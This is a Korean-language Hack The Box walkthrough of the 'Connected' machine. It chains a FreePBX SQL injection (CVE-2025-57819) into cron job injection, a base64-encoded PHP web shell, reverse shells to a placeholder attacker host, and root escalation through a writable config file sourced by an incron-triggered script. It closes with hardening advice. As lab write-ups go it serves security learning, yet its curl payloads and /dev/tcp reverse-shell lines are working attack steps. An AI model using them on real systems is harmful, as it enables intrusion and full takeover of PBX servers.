
이 워크스루는 HTB 머신 Connected의 전체 침해 과정을 문서화합니다.
이 문서는 HTB 머신 Connected의 완전한 침해 과정을 기록합니다.
공격 체인은 FreePBX의 인증되지 않은 SQL 인젝션 취약점에서 시작되며, 이를 활용하여 조작된 cron 작업을 통해 asterisk 사용자로 코드 실행 권한을 획득합니다. 이후 쓰기 가능한 설정 파일과 incron 트리거를 결합하여 root로 권한 상승을 수행합니다.
이 사례는 웹 애플리케이션 취약점이 취약한 로컬 권한 설정 및 안전하지 않은 권한 있는 자동화와 결합될 때 전체 시스템 침해로 이어질 수 있음을 보여줍니다.
빠른 포트 스캔으로 대상의 열린 포트를 확인합니다:
nmap -T5 --open <MACHINE_IP>
| 포트 | 서비스 |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
추가 조사 결과 PHP 7.4를 실행하는 Apache 서버가 확인되었으며, HTTP 요청이 다음 주소로 리디렉션됩니다:
http://connected.htb/
사이트에 정상적으로 접근하려면 가상 호스트 매핑을 추가합니다:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
http://connected.htb/에 접속하면 다음이 표시됩니다:
FreePBX 16.0.40.7
조사 결과 FreePBX Endpoint Manager 구성 요소에서 CVE-2025-57819, 즉 인증되지 않은 오류 기반 SQL 인젝션 취약점이 확인되었습니다.
데이터베이스 사용자를 추출하여 취약점을 확인합니다:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
응답에는 다음이 포함됩니다:
~USER:freepbxuser@localhost~
이는 SQL 인젝션이 작동하며 애플리케이션이 MySQL에 다음 사용자로 연결됨을 확인합니다:
freepbxuser@localhost
FreePBX는 예약 작업을 cron_jobs 테이블에 저장합니다.
이 테이블에 악성 항목을 주입하면 임의 명령이 실행되도록 예약할 수 있습니다.
다음 페이로드는 웹 루트에 PHP 웹 셸을 생성합니다:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
서버는 일반적인 500 오류를 반환하지만 SQL 문은 성공적으로 실행됩니다.
약 1분 후 웹 셸이 생성되었는지 확인합니다:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
출력:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
이제 HTTP 요청을 통해 asterisk 사용자로 명령 실행 권한을 획득했습니다.
공격 머신에서 Netcat 리스너를 시작합니다:
nc -lvnp 4444
웹 셸을 통해 Bash 리버스 셸을 트리거합니다:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
연결이 수립됩니다:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
이제 asterisk 사용자로 대화형 셸을 확보했습니다.
/etc 아래에서 쓰기 가능한 파일을 검색합니다 (알려진 오탐 제외):
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
주목할 만한 결과:
/etc/dahdi/init.conf
다음으로 incron 구성을 확인합니다:
cat /etc/incron.d/*
다음 파일 시스템 감시자가 확인됩니다:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
즉, 센티널 파일:
/var/spool/asterisk/sysadmin/dahdi_restart
에 쓰기가 발생할 때마다 다음 스크립트가 실행됩니다:
/usr/sbin/sysadmin_dahdi_restart
스크립트를 검사하면 다음 파일을 소싱함을 알 수 있습니다:
/etc/dahdi/init.conf
/etc/dahdi/init.conf는 asterisk 사용자가 쓰기 가능하고 root 프로세스에 의해 소싱되므로, root 권한으로 임의 명령을 실행할 수 있는 경로를 제공합니다.
포트 4445에서 두 번째 Netcat 리스너를 시작합니다:
nc -lvnp 4445
asterisk 셸에서 쓰기 가능한 설정 파일에 리버스 셸 페이로드를 추가합니다:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
감시 중인 파일에 쓰기를 수행하여 incron 작업을 트리거합니다:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
몇 초 내에 root 셸이 연결됩니다:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 전체 root 액세스 권한 획득 완료!
cat /home/asterisk/user.txt
출력:
HTB{...user_flag...}
cat /root/root.txt
출력:
HTB{...root_flag...}
인증되지 않은 SQL 인젝션
│
▼
MySQL 쿼리 실행
│
▼
악성 Cron 작업 삽입
│
▼
PHP 웹 셸
│
▼
asterisk 셸
│
▼
쓰기 가능한 /etc/dahdi/init.conf
│
▼
incron 트리거
│
▼
Root 명령 실행
│
▼
root
| 취약점 | 영향 |
|---|---|
| 인증되지 않은 SQL 인젝션 | 데이터베이스 사용자 컨텍스트 노출 및 악성 데이터 작성의 발판 제공 |
| Cron 작업 인젝션 | 낮은 권한의 서비스 계정으로 원격 코드 실행 가능 |
| 쓰기 가능한 설정 파일 + incron | root로의 직접적인 권한 상승 허용 |
| 권한 있는 스크립트가 사용자 쓰기 가능 파일 소싱 | root 권한으로 임의 명령 실행 허용 |
모든 데이터베이스 작업에 매개변수화된 쿼리와 엄격한 입력 검증을 사용하십시오.
사용자 제어 입력을 SQL 쿼리에 직접 연결하지 마십시오.
권한 있는 서비스가 사용하는 설정 파일은 낮은 권한의 서비스 계정이 쓰기 가능해서는 안 됩니다.
특히 다음 경로의 파일 권한을 검토하십시오:
/etc/
예약 작업과 파일 시스템 감시자를 정기적으로 감사하십시오.
권한 있는 작업은 신뢰할 수 없는 사용자가 수정할 수 있는 파일을 기반으로 명령을 실행해서는 안 됩니다.
Root 소유 스크립트는 권한이 없는 사용자가 수정할 수 있는 설정 파일을 소싱하지 않아야 합니다.
웹 애플리케이션과 서비스는 운영에 필요한 최소 권한으로 실행되어야 합니다.
FreePBX/Apache 환경의 권한을 축소하면 애플리케이션 침해 성공 시 영향을 크게 제한할 수 있습니다.
CVE-2025-57819
│
▼
인증되지 않은 SQL 인젝션
│
▼
cron_jobs 테이블 조작
│
▼
예약된 PHP 웹 셸
│
▼
asterisk 사용자
│
▼
쓰기 가능한 /etc/dahdi/init.conf
│
▼
incron 파일 감시자
│
▼
권한 있는 DAHDI 스크립트
│
▼
Root 셸
│
▼
🏆 전체 시스템 침해
고지: 이 문서는 교육 목적과 Hack The Box 랩 및 통제된 환경과 같은 공인된 보안 테스트를 위해 작성되었습니다.